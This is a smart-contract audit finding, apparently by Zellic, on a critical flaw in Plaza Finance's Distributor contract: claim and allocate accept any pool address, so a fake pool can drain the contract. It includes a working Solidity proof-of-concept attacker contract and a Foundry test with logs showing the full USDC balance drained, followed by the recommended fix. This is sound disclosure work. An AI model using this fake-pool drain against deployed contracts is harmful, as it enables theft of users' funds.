Assessment reports>Programmable Derivatives>Critical findings>Distributor could be drained by fake pool
Category: Coding Mistakes

Distributor could be drained by fake pool

Critical Severity
Critical Impact
High Likelihood

Description

In Distributor, the functions claim and allocate do not check that the pool's address parameter, _pool is in the registered pool, so a fake pool could be used in this function to drain the distributor.

A malicious user could create a fake pool with some function's interface, such as balanceOf and getIndexedUserAmount, to bypass claim's check.

function claim(address _pool) external whenNotPaused() nonReentrant() {
  require(_pool != address(0), UnsupportedPool());
  
  Pool pool = Pool(_pool);
  BondToken bondToken = pool.bondToken();
  address couponToken = pool.couponToken();
  // ...
  uint256 shares = bondToken.getIndexedUserAmount(msg.sender, balance, currentPeriod)
                            .normalizeAmount(bondToken.decimals(), IERC20(couponToken).safeDecimals());
  // ...
  IERC20(couponToken).safeTransfer(msg.sender, shares);
}

function allocate(address _pool, uint256 _amountToDistribute) external whenNotPaused() {
  require(_pool == msg.sender, CallerIsNotPool());

  Pool pool = Pool(_pool);
  // ...
}

Impact

An attacker could drain the distributor by using a fake pool.

The following proof-of-concept script demonstrates that the attacker could drain the distributor by using a fake pool:

contract AttackerFakePool {
    // ...

    function exploit(Distributor distributor, address _couponToken) public {
        couponToken = address(this);
        bondToken = address(this);
        globalPool = IndexedGlobalAssetPool({
            currentPeriod: 0,
            sharesPerToken: 0,
            previousPoolAmounts: new PoolAmount[](0)
        });

        targetAmount = IERC20(_couponToken).balanceOf(address(distributor));

        distributor.allocate(address(this), targetAmount);
        
        couponToken = _couponToken;
        fakeShare = IERC20(_couponToken).balanceOf(address(distributor));
        
        distributor.claim(address(this));
    }
    // fake couponToken/bondToken interface
    function balanceOf(address account) external view returns (uint256) {
        return targetAmount;
    }

    // fake bondToken interface
    function getIndexedUserAmount(address user, uint256 balance, uint256 period) public view returns(uint256) {
      return fakeShare * 10**(18-6);
    }

    // ...
}

//...

    function testAuditDistributeDrain() public {
        // logic from testClaimShares() in Distributor.t.sol
        Token sharesToken = Token(_pool.couponToken());

        vm.startPrank(minter);
        _pool.bondToken().mint(user1, 1*10**18);
        sharesToken.mint(address(_pool), 50*(1+10000)*10**18);
        vm.stopPrank();

        vm.startPrank(governance);
        fakeSucceededAuction(address(_pool), 0);

        vm.mockCall(
            address(0),
            abi.encodeWithSignature("state()"),
            abi.encode(uint256(1))
        );

        vm.warp(block.timestamp + params.distributionPeriod);
        _pool.distribute();
        vm.stopPrank();

        // attacker exploit start
        vm.startPrank(address(0x31337));

        AttackerFakePool attacker = new AttackerFakePool();
        
        console.log("distributor USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(distributor)));
        console.log("attacker USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(attacker)));

        attacker.exploit(distributor, address(_pool.couponToken()));

        console.log("-----------------after exploit-----------------");
        console.log("distributor USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(distributor)));
        console.log("attacker USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(attacker)));

        vm.stopPrank();
    }

The following text is the result of the proof-of-concept script:

[PASS] testAuditDistributeDrain() (gas: 2411823)
Logs:
  distributor USDC balance:  25002500000
  attacker USDC balance:  0
  -----------------after exploit-----------------
  distributor USDC balance:  0
  attacker USDC balance:  25002500000

Recommendations

Check that the pool's address parameter, _pool, is in the registered pool in the claim and allocate functions.

Remediation

This issue has been acknowledged by Plaza Finance, and fixes were implemented in the following commits:

Zellic © 2025Back to top ↑